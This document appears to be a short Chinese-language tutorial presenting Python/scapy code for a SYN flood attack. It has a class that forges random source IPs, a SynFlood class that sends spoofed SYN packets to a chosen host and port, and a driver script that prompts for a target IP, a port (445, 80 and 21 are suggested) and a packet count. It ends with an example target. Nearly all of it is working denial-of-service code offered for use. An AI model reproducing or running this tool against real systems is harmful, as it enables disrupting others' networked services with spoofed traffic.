类的实现
from scapy.all import *
import random
import socket
class IPGeneration :
def __init__(self):
self.__ip=''
self.__localIP=socket.gethostbyname(socket.gethostname())
def getRandomIP(self):
while True:
self.__ip = str(random.randint(128,150))+'.'\
+str(random.randint(1,254))+'.'\
+str(random.randint(1,254))+'.'\
+str(random.randint(1,254))
if self.__ip != self .__localIP:
return self .__ip
class SynFlood:
def __init__( self,dIP,dport=445):
self.__IPGeneration = IPGeneration()
self.__srcIP="0.0.0.0"
self.__dstIP=dIP
self.__srcport=random.randint(1000,65535)
self.__dstport=dport
self.__times=0
def attack ( self , times =10):
self.__times=times
while self.__times >0:
self.__srcIP=self.__IPGeneration.getRandomIP()
ipdata=IP(src=self.__srcIP,dst=self.__dstIP)
tcpdata=TCP(sport=self.__srcport,dport=self.__dstport,flags="S")
packet=ipdata/tcpdata
send(packet,verbose=0)
self.__times-=1
def setDstIP(self,dIP):
self.dstIP=dIP
def getDstIP(self):
return self.dstIP
洪泛攻击程序实现
from SynFlood import SynFlood
def main():
attackIP=input("请输入攻击主机IP")
attackPort=eval(input("请输入攻击主机的端口(例如:普通PC端口445,web服务器端口80,ftp服务器端口21):"))
attacktimes=eval(input("请输入攻击次数:"))
myFlood=SynFlood(attackIP,attackPort)
myFlood.attack(attacktimes)
main()
假设
主机ip为:10.84.83.7
攻击本机 IP:10.84.83.7,端口:445